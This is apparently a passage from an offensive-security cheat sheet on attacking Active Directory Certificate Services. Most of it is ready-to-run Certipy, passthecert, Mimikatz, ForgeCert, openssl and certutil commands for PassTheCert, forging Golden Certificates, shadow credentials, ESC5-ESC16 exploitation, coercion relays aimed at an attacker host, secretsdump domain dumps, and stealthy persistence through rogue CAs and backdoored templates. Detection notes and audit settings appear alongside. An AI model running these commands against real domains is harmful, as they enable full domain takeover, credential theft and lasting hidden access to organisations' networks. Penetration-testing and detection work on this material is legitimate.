KDC_ERR_INCONSISTENT_KEY_PURPOSE Cert EKU doesn't include Smart Card Logon / Client Auth Request from template with correct EKU or use Schannel
Certificate unknown Cert revoked or CA not reachable for OCSP/CRL Check CRL distribution points; try -no-save and inspect cert
Non-domain-joined machine No domain DNS / Kerberos config Add -domain flag; configure /etc/krb5.conf with DC realm

#Non-Domain-Joined PKINIT Setup

# /etc/krb5.conf for non-domain-joined Kerberos auth
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = true

[realms]
    DOMAIN.LOCAL = {
        kdc = dc.domain.local
        admin_server = dc.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL
EOF

# Sync clock to DC (critical for Kerberos)
sudo ntpdate dc.domain.local

# Authenticate with explicit domain
certipy auth -pfx administrator.pfx \
  -domain domain.local \
  -dc-ip 192.168.1.10

#PassTheCert (Schannel LDAP)

#PassTheCert Overview

PassTheCert authenticates to LDAP/LDAPS using a certificate via Schannel (TLS).
- Bypasses LDAP signing requirements (bind is after StartTLS)
- Bypasses LDAP channel binding (Schannel is exempt by design)
- Works when PKINIT is unavailable (DC has no smart card cert)
- Requires: certificate + private key for the target account

#PassTheCert Commands

# Step 1: Extract cert and key from PFX
certipy cert -pfx administrator.pfx -nokey -out administrator.crt
certipy cert -pfx administrator.pfx -nocert -out administrator.key

# Or via openssl
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt -nodes
openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key -nodes

# Step 2a: Certipy LDAP shell (built-in Schannel)
certipy auth -pfx administrator.pfx \
  -dc-ip 192.168.1.10 \
  -ldap-shell
# Provides interactive LDAP shell: set_rbcd, add_user_to_group, etc.

# Step 2b: passthecert.py - elevate a user to DA
python3 passthecert.py \
  -action modify_user \
  -crt administrator.crt \
  -key administrator.key \
  -domain domain.local \
  -dc-ip 192.168.1.10 \
  -target targetuser \
  -elevate

# Step 2c: passthecert.py - full LDAP shell
python3 passthecert.py \
  -action ldap-shell \
  -crt administrator.crt \
  -key administrator.key \
  -domain domain.local \
  -dc-ip 192.168.1.10

# Step 2d: passthecert.py - add user to Domain Admins
python3 passthecert.py \
  -action modify_group \
  -crt administrator.crt \
  -key administrator.key \
  -domain domain.local \
  -dc-ip 192.168.1.10 \
  -target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' \
  -add-member 'CN=myuser,CN=Users,DC=domain,DC=local'

# Step 2e: RBCD via passthecert (for machine accounts)
python3 passthecert.py \
  -action write_rbcd \
  -crt dc.crt \
  -key dc.key \
  -domain domain.local \
  -dc-ip 192.168.1.10 \
  -delegate-to 'DC$' \
  -delegate-from 'ATTACKER_MACHINE$'

#Forge Certificates (Golden Certificate)

#CA Backup & Golden Cert Workflow

# Golden Certificate: forge any user cert offline using CA private key
# Persistent access even after password changes
# Requires: CA private key (from backup, ESC7, or CA server compromise)

# Method A: Certipy CA backup (requires ManageCA or local admin on CA)
certipy ca \
  -backup \
  -ca 'domain-CA-NAME' \
  -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10
# Output: domain-CA-NAME.pfx (CA cert + private key)

# Method B: Extract from CA server via Mimikatz (local admin on CA)
# On CA server:
mimikatz # crypto::capi
mimikatz # crypto::certificates /export /systemstore:LOCAL_MACHINE

# Method C: From NTDS backup (if CA stores key in AD)
# certipy will also find NTDS-based CA keys during find phase

# Forge certificate for any user (offline, no CA interaction)
certipy forge \
  -ca-pfx 'domain-CA-NAME.pfx' \
  -upn '[email protected]' \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
# Output: administrator_forged.pfx

# Forge cert for krbtgt (persistence - Golden Cert)
certipy forge \
  -ca-pfx 'domain-CA-NAME.pfx' \
  -upn '[email protected]' \
  -subject 'CN=krbtgt,CN=Users,DC=domain,DC=local' \
  -crl 'ldap:///CN=CA,CN=host,CN=CDP,...'

# Authenticate with forged cert
certipy auth -pfx administrator_forged.pfx \
  -domain domain.local \
  -dc-ip 192.168.1.10

#CA Key Formats

# Convert PFX to PEM (for other tools)
openssl pkcs12 -in domain-CA-NAME.pfx -out ca.pem -nodes -password pass:

# Extract CA cert only
openssl pkcs12 -in domain-CA-NAME.pfx -clcerts -nokeys -out ca.crt -nodes

# Extract CA private key only
openssl pkcs12 -in domain-CA-NAME.pfx -nocerts -out ca.key -nodes

# Sign arbitrary cert with CA key (manual openssl)
openssl x509 -req \
  -in user.csr \
  -CA ca.crt -CAkey ca.key \
  -CAcreateserial \
  -days 365 \
  -extfile san.ext \
  -out user.crt

#Shadow Credentials

# Shadow Credentials: add a certificate-based credential to an account's
# msDS-KeyCredentialLink attribute (requires WriteProperty on that attribute)

# Auto mode: add key, authenticate, get NT hash, output pfx
certipy shadow auto \
  -u '[email protected]' -p 'Password1' \
  -account 'targetuser' \
  -dc-ip 192.168.1.10
# Output: targetuser.pfx + NT hash

# Manual: add key credential only
certipy shadow add \
  -u '[email protected]' -p 'Password1' \
  -account 'targetuser' \
  -dc-ip 192.168.1.10
# Output: targetuser.pfx, device-id for cleanup

# Authenticate with the shadow credential cert
certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.10

# Cleanup: remove the injected key credential
certipy shadow remove \
  -u '[email protected]' -p 'Password1' \
  -account 'targetuser' \
  -device-id 'GUID-from-add-output' \
  -dc-ip 192.168.1.10

# List existing key credentials on account
certipy shadow list \
  -u '[email protected]' -p 'Password1' \
  -account 'targetuser' \
  -dc-ip 192.168.1.10

#pywhisker Alternative

# pywhisker: alternative shadow credentials tool
pip install pywhisker

# Add shadow credential
pywhisker -d domain.local -u attacker -p Password1 \
  --target targetuser \
  --action add \
  --dc-ip 192.168.1.10
# Output: deviceID + pfx file path + pfx password

# Get TGT using PKINITtools
python3 gettgtpkinit.py \
  -cert-pfx targetuser.pfx \
  -pfx-pass 'generated_password' \
  domain.local/targetuser targetuser.ccache

# Recover NT hash from TGT
export KRB5CCNAME=targetuser.ccache
python3 getnthash.py \
  -key <AS-REP encryption key> \
  domain.local/targetuser

#Account Module & Relay Setup

#Machine Account Creation

# Create machine account for relay attacks (requires MAQ > 0, default is 10)
certipy account create \
  -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -user 'FAKEMACHINE$' \
  -pass 'Password1!'
# Machine accounts can enroll in computer templates
# Useful when you need a machine account for ESC8/ESC11 relay setups

# Check MachineAccountQuota
nxc ldap DC_IP -u user -p pass -M maq

# Delete machine account (cleanup)
certipy account delete \
  -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -user 'FAKEMACHINE$'

#Coercion Tools for Relay

Tool Protocol Command Example
PetitPotam MS-EFSR python3 PetitPotam.py -u user -p pass ATTACKER DC_IP
Coercer Multi coercer coerce -l ATTACKER -t TARGET -d domain -u user -p pass
PrinterBug MS-RPRN python3 SpoolSample.py DC_IP ATTACKER_IP
DFSCoerce MS-DFSNM python3 dfscoerce.py -u user -p pass ATTACKER DC_IP
ShadowCoerce MS-FSRVP python3 shadowcoerce.py -u user -p pass ATTACKER DC_IP

#Tool Integration

#PKINITtools Integration

# PKINITtools by dirkjanm - PKINIT and U2U attacks
git clone https://github.com/dirkjanm/PKINITtools
pip install -r PKINITtools/requirements.txt

# gettgtpkinit.py: request TGT using certificate (alternative to certipy auth)
python3 PKINITtools/gettgtpkinit.py \
  -cert-pfx administrator.pfx \
  domain.local/administrator \
  administrator.ccache
# Or with PEM cert+key:
python3 PKINITtools/gettgtpkinit.py \
  -cert-pem administrator.crt \
  -key-pem administrator.key \
  domain.local/administrator \
  administrator.ccache

# getnthash.py: recover NT hash from TGT via U2U
export KRB5CCNAME=administrator.ccache
python3 PKINITtools/getnthash.py \
  -key <AS-REP encryption key printed by gettgtpkinit> \
  domain.local/administrator

# gets4uticket.py: S4U2Self for service ticket without password
python3 PKINITtools/gets4uticket.py \
  kerberos+ccache://domain.local\\administrator:[email protected] \
  cifs/[email protected] \
  administrator_cifs.ccache

#impacket-gettgtpkinit (Impacket)

# Impacket's built-in PKINIT (included in modern impacket)
impacket-gettgtpkinit \
  -cert-pfx administrator.pfx \
  domain.local/administrator \
  administrator.ccache

# With explicit DC
impacket-gettgtpkinit \
  -cert-pfx administrator.pfx \
  -dc-ip 192.168.1.10 \
  domain.local/administrator \
  administrator.ccache

#Certificate Utilities

# Certipy cert conversion
certipy cert -pfx user.pfx                          # show info
certipy cert -pfx user.pfx -nokey -out user.crt     # extract cert only
certipy cert -pfx user.pfx -nocert -out user.key    # extract key only

# OpenSSL conversions
openssl pkcs12 -in user.pfx -out user.pem -nodes    # PFX -> PEM (all)
openssl pkcs12 -in user.pfx -clcerts -nokeys -out user.crt -nodes
openssl pkcs12 -in user.pfx -nocerts -out user.key -nodes
openssl x509 -in user.crt -text -noout              # inspect cert
openssl x509 -in user.crt -noout -fingerprint -sha1 # thumbprint

# Create PFX from PEM cert+key (for tools expecting PFX)
openssl pkcs12 -export \
  -in user.crt -inkey user.key \
  -out user.pfx -passout pass:

#ESC5 - Vulnerable PKI Object Access Control

#ESC5 Exploit

ESC5 covers write access to PKI AD objects (CA object, NTAuthCertificates, CertificationAuthority). With write access to these objects you can escalate to full PKI control - add your CA, modify trust anchors, or push arbitrary certificates into NTAuth.

# Enumerate PKI object ACLs
certipy find -u [email protected] -p pass -dc-ip DC_IP -vulnerable

# If you have write access to PKI objects:
# - Modify CA object properties
# - Add attacker-controlled CA to NTAuthCertificates
# - Combined with ESC7 for full CA takeover

# Golden Certificate if PKI objects writable
certipy ca -backup -u [email protected] -hashes :HASH -ca CORP-CA
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip DC_IP

#ESC12 - CA Private Key Theft (DVPRIV)

#ESC12 Exploit

ESC12 requires admin shell access on the CA server. The CA private key is stored in DPAPI or the CSP. With it, you can forge certificates for any user indefinitely (Golden Certificate).

# If you have admin on the CA server:

# Method 1: certipy ca -backup (extracts CA key as PFX)
certipy ca -backup -ca CORP-CA -u [email protected] -p pass

# Method 2: DPAPI extraction on the CA server
# The CA key is stored under:
# C:\ProgramData\Microsoft\Crypto\Keys\ (CSP)
# C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\ (CNG)

# Forge certificate for any user
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip DC_IP

#ESC14 - altSecurityIdentities Write Access

#ESC14 Exploit

ESC14 (explicit certificate mapping) allows an attacker with write access to a target's altSecurityIdentities attribute to map any certificate to that account. Combined with ESC9/ESC10 for implicit mapping abuse.

# Requires: GenericWrite on target account's altSecurityIdentities

# Explicit mapping - set altSecurityIdentities to map your cert
# Use with certipy shadow or pywhisker for key credential link

# Implicit mapping (ESC9/ESC10 variant)
certipy shadow auto -username [email protected] -p pass -account target

# Reset target UPN, request cert, authenticate
certipy account update -username [email protected] -password pass \
  -user target -upn administrator
certipy req -u [email protected] -hashes :NTHash -ca CORP-CA -template User
certipy account update -username [email protected] -password pass \
  -user target -upn [email protected]
certipy auth -pfx administrator.pfx -domain domain.local

#ESC15 - Version 1 Template Abuse

#ESC15 Exploit

ESC15 abuses version 1 certificate templates with the enrollee flag. Using the --application-policies flag in certipy (PR 228), you can request certificates with arbitrary application policies, enabling enrollment agent abuse or client authentication on templates not explicitly designed for it.

# Method 1: Request cert with Certificate Request Agent policy
# (turns any v1 template with enrollee flag into an enrollment agent cert)
certipy req -u [email protected] -p pass -target CA_SERVER \
  -template 'VulnV1Template' -ca CORP-CA \
  --application-policies 'Certificate Request Agent'

# Then use the enrollment agent cert to request on behalf of admin
certipy req -u [email protected] -p pass -target CA_SERVER \
  -template 'AnotherTemplate' -ca CORP-CA \
  -on-behalf-of 'domain\administrator' -pfx agent.pfx

# Method 2: Request cert with Client Authentication policy
# (enables PKINIT auth on templates that don't normally allow it)
certipy req -u [email protected] -p pass -target CA_SERVER \
  -template 'VulnV1Template' -ca CORP-CA \
  -upn [email protected] \
  --application-policies 'Client Authentication'

# Authenticate (Schannel only for method 2 in some cases)
certipy auth -pfx administrator.pfx -dc-ip DC_IP

#ESC15 Detection

  • Monitor certificate requests with non-standard application policies
  • Audit version 1 templates with ENROLLEE_SUPPLIES_SUBJECT flag
  • Event ID 4886/4887: check for unusual application policy OIDs in issued certificates

#ESC16 - Security Extension Disabled on CA

#ESC16 Conditions

ESC16 is essentially "ESC9 by default for the entire CA". The CA registry contains an explicit DisableExtensionList entry for 1.3.6.1.4.1.311.25.2 (szOID_NTDS_CA_SECURITY_EXT), so EVERY certificate the CA issues lacks the SID security binding extension - regardless of template flags. Combined with weak DC binding enforcement (StrongCertificateBindingEnforcement = 0 or 1), any UPN/dNSHostName-based mapping can be hijacked by an attacker with GenericWrite on a victim account.

Vulnerable conditions:
  1. CA HKLM\SYSTEM\CCS\Services\CertSvc\Configuration\<CA>\PolicyModules\...\DisableExtensionList
     contains "1.3.6.1.4.1.311.25.2"
     (set via:  certutil -setreg policy\DisableExtensionList +"1.3.6.1.4.1.311.25.2")
  2. Attacker has enroll permission on at least one client-auth template (e.g. User, Machine)
  3. Attacker has GenericWrite (or equivalent) over a victim principal
  4. DC StrongCertificateBindingEnforcement != 2 (Full Enforcement)
  5. Certipy >= 4.8.2 required for ESC16 detection / exploitation

#ESC16 Detection

# Certipy (>= 4.8.2) flags ESC16 in CA properties
certipy find -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -enabled -stdout
# Look for:
#   "Disabled Extensions: 1.3.6.1.4.1.311.25.2"
#   "[!] Vulnerabilities: ESC16"
Certify.exe enum-cas --hide-admins
# "Disabled Extensions: <unknown> (1.3.6.1.4.1.311.25.2)"

# Verify directly on CA host
certutil -getreg policy\DisableExtensionList

#ESC16 Exploitation

# Step 1: Save victim's current UPN (for cleanup)
certipy account read -u '[email protected]' -p 'Password1' \
  -user 'victim' -dc-ip 192.168.1.10

# Step 2: Spoof victim UPN to target Administrator
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'victim' -upn 'administrator' \
  -dc-ip 192.168.1.10

# Step 3: Enroll on ANY standard template (no NO_SECURITY_EXTENSION needed,
#         the CA strips the SID extension globally)
certipy req -u '[email protected]' -hashes ':NThashOfVictim' \
  -ca 'CORP-CA' -target ca.domain.local \
  -template 'User' -dc-ip 192.168.1.10
# Output: administrator.pfx (no szOID_NTDS_CA_SECURITY_EXT extension)

# Step 4: Restore victim UPN
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'victim' -upn '[email protected]' \
  -dc-ip 192.168.1.10

# Step 5: PKINIT auth - DC falls back to UPN mapping (no SID to validate)
certipy auth -pfx administrator.pfx \
  -domain domain.local -username administrator \
  -dc-ip 192.168.1.10
# -> administrator NT hash + TGT

#ESC16 Notes & Cross-References

  • ESC16 is the CA-wide cousin of ESC9: instead of one vulnerable template with CT_FLAG_NO_SECURITY_EXTENSION, the CA omits the SID extension on every cert it issues. This makes detection trivial server-side but means any attacker with GenericWrite + enroll on any template can pivot.
  • Combine with ESC10a (StrongCertificateBindingEnforcement = 0) for guaranteed exploitability: even templates that would normally embed the SID extension fail to do so on this CA.
  • Combine with ESC10b for Schannel/LDAPS-based DC computer impersonation: spoof dNSHostName instead of UPN.
  • Cleanup primitive on the CA (defender side): certutil -setreg policy\DisableExtensionList -"1.3.6.1.4.1.311.25.2" then restart certsvc.
  • BloodHound CE adds ADCSESC16 edge in recent collector versions. SpecterOps blog post: "Exploiting ESC16 in Active Directory Certificate Services".
  • See also: ESC9, ESC10.

#Account Persistence via Certificates (PERSIST1-3)

#PERSIST1 - User Persistence via Certificates

Request a long-lived client-auth certificate under a compromised user account and store the PFX offline. The certificate remains valid for the entire Validity Period of the template (default 1 year on User, often 2 years on custom templates) and CONTINUES to authenticate via PKINIT even after the account password is rotated, the user is forced to change their password, or the account is partially recovered. PKINIT does not consult the password hash, only the cert chain + SID/UPN binding, so password resets do not invalidate it.

# Pre-requisite: Authenticated Users typically have enroll on the default User template
certipy find -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -enabled \
  | grep -A2 -i 'User\|client.*auth'

# Linux - Certipy
certipy req -u '[email protected]' -p 'Password1' \
  -ca 'CORP-CA' -target ca.domain.local \
  -template 'User' -out user_persist
# Output: user_persist.pfx  (valid 1 year)

# Months later, after password reset, re-authenticate
certipy auth -pfx user_persist.pfx -dc-ip 192.168.1.10
# -> still works, returns current NT hash via UnPAC-the-Hash
# Windows - Certify + Rubeus
Certify.exe request /ca:CA01.corp.local\CORP-CA /template:User
# Save the base64 PFX

# Later authentication
Rubeus.exe asktgt /user:user /certificate:<BASE64_PFX> /getcredentials /ptt
# /getcredentials triggers UnPAC-the-Hash -> current NT hash

OPSEC: the cert request is logged on the CA (certsrv.msc -> Issued Certificates, EID 4886/4887) but is rarely correlated with later auth. Blue teams should monitor enrollment volume per principal and alert on user certs with > 1 year validity.

#PERSIST2 - Machine Persistence via Certificates

The same idea as PERSIST1 but applied to a machine account you control - either one you created via ms-DS-MachineAccountQuota (default 10 per user), or one you have already compromised. Machine-context certificates are typically valid 2 to 5 years and can be used to PKINIT as the machine, then S4U2self impersonate any user via the machine TGT.

# Pre-requisite: SYSTEM/admin on the machine OR known machine creds (NT hash)
certipy req -u '[email protected]' -hashes ':MachineNTHash' \
  -ca 'CORP-CA' -target ca.domain.local \
  -template 'Machine' -out machine_persist
# Output: machine_persist.pfx  (often 2-5 yrs)

# Later: PKINIT as the machine, then S4U2self -> any user
certipy auth -pfx machine_persist.pfx -dc-ip 192.168.1.10
# -> PWNED$ NT hash + TGT

# Use Rubeus / Impacket s4u for impersonation:
getST.py -spn 'cifs/target.domain.local' -impersonate Administrator \
  -hashes ':MachineNTHash' 'domain.local/PWNED$'
# Windows - run as SYSTEM on the victim machine
Certify.exe request /ca:CA01.corp.local\CORP-CA /template:Machine /machine
Rubeus.exe asktgt /user:WS01$ /certificate:<BASE64_PFX> /ptt

Why machine persistence is powerful:

  • Machine accounts get less monitoring than user accounts
  • Default Machine template lifetime is significantly longer than User
  • A machine TGT can S4U2self / RBCD into impersonating any user
  • Combines with PERSIST3 for indefinite extension

#PERSIST3 - Account Persistence via Certificate Renewal

Inside the template's Renewal Period (default 6 weeks before expiration), AD CS allows a renewal request that is signed by the existing private key rather than requiring authentication with the current account password. This means the validity can be extended indefinitely without ever knowing the user's current password, even after the account has been completely "recovered" by IT.

# Windows - Certify (the only currently supported renewal client)
Certify.exe request-renew \
  /ca:CA01.corp.local\CORP-CA \
  /onbehalfof:domain\victim \
  /pfx:user_persist.pfx \
  /password:Pass1
# Output: renewed_user.pfx with a fresh validity period

# Automate via scheduled task well inside the renewal window:
schtasks /create /tn "CertRenew" /tr "C:\tools\Certify.exe request-renew ..." \
  /sc weekly /d MON /st 03:00 /ru SYSTEM
# Linux: no direct certipy renew flag at the time of writing.
# Workarounds:
#   - Use Certify.exe via wine / Windows host
#   - Manually craft an ICertRequest::Submit CMC renewal request
#   - Use openssl to generate a renewal CMC and submit via certreq

Combine with PERSIST1/PERSIST2 for indefinite persistence across years. Detection: monitor renewal requests for stale principals + unusually long aggregate validity per requester.

#Domain Persistence via Certificates (DPERSIST1-3)

#DPERSIST1 - Forging Certs with Stolen CA Key (Golden Certificate)

This is the canonical "Golden Certificate". With privileged access on the Enterprise CA host (or any account with Backup Operators / local admin / ManageCA + cert export rights), extract the CA private key and forge arbitrary certificates offline. Forged certs are signed by a legitimate CA cert that is already in NTAuthCertificates, so they authenticate as anyone via PKINIT and survive every password reset, account disable, and AD object delete - because cert validation never queries AD for the principal's current password.

See also the existing detailed Forge Certificates (Golden Certificate) section below for the full Certipy / ForgeCert / Mimikatz workflow. DPERSIST1 == Golden Certificate.

# Quick recap (full workflow in the Forge Certificates section):

# 1. Extract CA private key (admin on CA host or ManageCA + key export)
certipy ca -backup -u '[email protected]' -p 'Password1' \
  -ca 'CORP-CA' -dc-ip 192.168.1.10
# Output: CORP-CA.pfx

# Alternatives on CA host:
#   Certify.exe manage-self --dump-certs        (admin on CA)
#   mimikatz: crypto::certificates /export /systemstore:LOCAL_MACHINE\My
#   certutil.exe -backupkey -p Password1 C:\Temp\CAbackup

# 2. Forge a cert as anyone, offline
certipy forge -ca-pfx CORP-CA.pfx \
  -upn '[email protected]' \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
# Output: administrator_forged.pfx

# Or with ForgeCert
ForgeCert.exe \
  --CaCertPath CORP-CA.pfx --CaCertPassword '' \
  --Subject "CN=user,CN=Users,DC=domain,DC=local" \
  --SubjectAltName '[email protected]' \
  --NewCertPath forged.pfx --NewCertPassword Pass1

# 3. Authenticate
certipy auth -pfx administrator_forged.pfx -dc-ip 192.168.1.10

Detection: forged certs never appear in the CA issued-cert store, so the only reliable detection is to correlate every PKINIT 4768 (TGT request via certificate) against the CA's Issued Certificates store and alert on serial numbers that are not present. Mitigation: revoke and rotate the CA cert, clear NTAuthCertificates, re-issue every active cert.

#DPERSIST2 - Trusting Rogue CA Certificates

Instead of stealing the legitimate CA private key, generate your own self-signed CA certificate locally and publish it into the NTAuthCertificates AD container. Once trusted, any cert you sign with your rogue CA is accepted forest-wide for PKINIT. Because the rogue CA is not registered as an Enterprise CA, none of its issued certs are ever logged in the production CA database - this is significantly stealthier than DPERSIST1.

# Pre-requisite: Enterprise Admin OR write access to
#   CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain
# (i.e. ESC5 with a write-permission scope on the right object)

# 1. Generate rogue CA cert + key locally
openssl req -x509 -newkey rsa:4096 -nodes \
  -keyout rogue.key -out rogue.crt \
  -days 3650 -subj "/CN=Rogue CA"

# 2. Publish to NTAuthCertificates (forest-wide trusted for client auth)
#    Run from a domain-joined Windows host with EA / target write rights:
certutil -dspublish -f rogue.crt NTAuthCA

# 3. Optional - also publish to Root CA store for chain validation
certutil -dspublish -f rogue.crt RootCA

# 4. Issue a cert from the rogue CA targeting any user
openssl req -new -newkey rsa:2048 -nodes \
  -keyout target.key -out target.csr \
  -subj "/CN=administrator"

cat > rogue.conf <<'EOF'
[ ca ]
default_ca = CA_default
[ CA_default ]
dir = .
new_certs_dir = .
database = index.txt
serial = serial
private_key = rogue.key
certificate = rogue.crt
default_md = sha256
policy = policy_any
x509_extensions = usr_ext
[ policy_any ]
commonName = supplied
[ usr_ext ]
subjectAltName = otherName:1.3.6.1.4.1.311.20.2.3;UTF8:[email protected]
extendedKeyUsage = clientAuth
EOF
touch index.txt && echo 1000 > serial
openssl ca -batch -config rogue.conf -in target.csr -out target.crt

# 5. Convert to PFX and authenticate via PKINIT
openssl pkcs12 -export -in target.crt -inkey target.key \
  -out target.pfx -passout pass:
certipy auth -pfx target.pfx -dc-ip 192.168.1.10

Detection (blue team): monitor Add-DistinguishedName / Directory Service Changes events on CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,... and on the pkiCA, cACertificate, and userCertificate attributes. Any modification to the NTAuthCertificates object outside of CA installation/rotation should trigger a critical alert. Also enumerate certutil -viewstore -enterprise NTAuth periodically for unknown CAs.

#DPERSIST3 - Malicious Misconfiguration

The "leave a door open" persistence pattern: weaken an existing certificate template (or create a new one) so that ESC1 (or another ESC) is permanently exploitable by any low-privileged user. The backdoor blends into normal AD CS misconfigurations and persists until the template DACL/flags are explicitly re-hardened. Far easier to deploy than DPERSIST1/2 and very hard to spot in environments with heavy template tech debt.

# Pre-requisite: WriteProperty/WriteDACL/Owner on the target template (ESC4)
# 1. Save the original config so you can restore it if caught
certipy template -u '[email protected]' -p 'Password1' \
  -template 'WebServer' -save-old -dc-ip 192.168.1.10
# Output: WebServer.json

# 2. Apply Certipy's default vulnerable preset:
#    - ENROLLEE_SUPPLIES_SUBJECT
#    - Client Authentication EKU
#    - Manager Approval off
#    - Authorized Signatures = 0
#    - Enroll = Authenticated Users
certipy template -u '[email protected]' -p 'Password1' \
  -template 'WebServer' -dc-ip 192.168.1.10
# WebServer is now permanently ESC1-vulnerable

# 3. (When caught / cleanup) restore original config from JSON
certipy template -u '[email protected]' -p 'Password1' \
  -template 'WebServer' -configuration WebServer.json \
  -dc-ip 192.168.1.10
# Manual variant (PowerShell, no Certipy)
Set-ADObject \
  -Identity "CN=WebServer,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \
  -Replace @{
    "msPKI-Certificate-Name-Flag" = 1;
    "pKIExtendedKeyUsage" = "1.3.6.1.5.5.7.3.2";
    "msPKI-RA-Signature" = 0;
    "msPKI-Enrollment-Flag" = 0
  }

Variants of DPERSIST3:

  • Backdoor template with hidden ESC13 issuance policy OID linked to a Tier0 group
  • Enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA itself (ESC6 backdoor)
  • Add a custom AD group with Enroll on a sensitive template, then add yourself / a sleeper account to that group later

Detection: any change to a Certificate Template DACL or AD object should trigger an alert (Directory Service Changes audit on CN=Certificate Templates,...). Run certipy find -vulnerable regularly and diff the output.

#Attack Chains

#ESC1 Full Chain

# 1. Find vulnerable ESC1 template
certipy find -vulnerable -u [email protected] -p pass -dc-ip DC_IP

# 2. Request cert with admin UPN (ENROLLEE_SUPPLIES_SUBJECT)
certipy req -u [email protected] -p pass -ca CORP-CA \
  -template VulnTemplate -upn [email protected]

# 3. Authenticate with forged certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# 4. Use NT hash for domain dump
impacket-secretsdump domain.local/administrator@DC_IP -hashes :NThash

#ESC8 Relay Chain

# 1. Confirm web enrollment is active
certipy find -u [email protected] -p pass -dc-ip DC_IP
# Look for: Web Enrollment: Enabled

# 2. Start relay listener targeting CA web enrollment
certipy relay -ca http://CA/certsrv/certfnsh.asp -template DomainController

# 3. Coerce DC authentication (in another terminal)
python3 PetitPotam.py ATTACKER_IP DC_IP

# 4. Relay captures DC NTLM auth -> certipy issues DC cert (dc.pfx)

# 5. Authenticate with DC certificate
certipy auth -pfx dc.pfx -dc-ip DC_IP

# 6. Full domain dump with DC NT hash
impacket-secretsdump domain.local/DC\$@DC_IP -hashes :NThash

#ESC9/ESC10 Chain

# 1. Requires: GenericWrite on proxy account + weak cert binding (no strong mapping)

# 2. Get proxy user NT hash via shadow credentials
certipy shadow auto -account proxyuser -u [email protected] -p pass

# 3. Change proxy user UPN to administrator
certipy account update -user proxyuser -upn administrator -u [email protected] -p pass

# 4. Request cert as proxy user (UPN = administrator)
certipy req -u [email protected] -hashes :NTHash -ca CORP-CA -template User

# 5. Revert proxy user UPN
certipy account update -user proxyuser -upn [email protected] -u [email protected] -p pass

# 6. Authenticate with cert (resolves to administrator via UPN)
certipy auth -pfx administrator.pfx -domain domain.local

#Shadow Credentials -> Golden Cert Chain

# 1. Shadow credentials on DC machine account (requires GenericWrite on DC$)
certipy shadow auto -account DC$ -u [email protected] -p pass

# 2. Auth with DC cert -> get DC NT hash
certipy auth -pfx dc.pfx -dc-ip DC_IP

# 3. Dump CA server admin hash / domain backup key
impacket-secretsdump domain.local/DC\$@DC_IP -hashes :NThash

# 4. Backup CA private key
certipy ca -backup -ca domain-CA -u [email protected] -hashes :AdminHash

# 5. Forge certificate for krbtgt (Golden Cert)
certipy forge -ca-pfx domain-CA.pfx -upn [email protected] -subject "CN=krbtgt"

# 6. Persistent domain access via forged cert
certipy auth -pfx krbtgt_forged.pfx -dc-ip DC_IP

#Defensive Indicators

#Detection by ESC Type

ESC Key Event IDs Detection Logic
ESC1/ESC6 4886, 4887 SAN in issued cert != requester account UPN
ESC3 4886, 4887 on-behalf-of field present; requestor != subject
ESC4 5136 (DS Object Modified) Template object modified (nTSecurityDescriptor, msPKI-* attributes)
ESC7 4899, 4900 CA configuration changed; new CA officer added
ESC8/ESC11 4624 (Type 3), 4886, 4887 NTLM logon on CA from DC machine account; rapid cert issuance
ESC9/ESC10 4738, 4662, 4768 UPN modification + cert issuance + PKINIT TGT for modified account
ESC13 4768 TGT PAC contains unexpected group SIDs vs actual group membership
Shadow Creds 4662 msDS-KeyCredentialLink attribute write on user/computer object
Golden Cert 4768 PKINIT auth with cert not in CA issuance logs; off-hours admin auth

#Enable ADCS Auditing

# Enable CA auditing (run on CA server)
certutil -setreg CA\AuditFilter 127
net stop certsvc && net start certsvc

# AuditFilter flags:
# 1  = Certificate Services started/stopped
# 2  = Configuration changes
# 4  = Certificate requests (-> Event 4886)
# 8  = Certificate issuance (-> Event 4887)
# 16 = Certificate revocation
# 32 = CRL publication
# 64 = Certificate template changes
# 127 = All events

# Enable object access auditing for DS objects (GPO)
# Computer Config -> Windows Settings -> Security Settings ->
#   Advanced Audit Policy -> DS Access -> Audit Directory Service Changes = Success, Failure

# Monitor with Splunk/Sigma rule example (Event 4887 SAN mismatch):
# index=wineventlog EventCode=4887
# | eval san=mvindex(split(Certificate_Information, "Subject Alternative Name="), 1)
# | where san != Requester_Name

#Also See

#Cyber Aurelien Guidi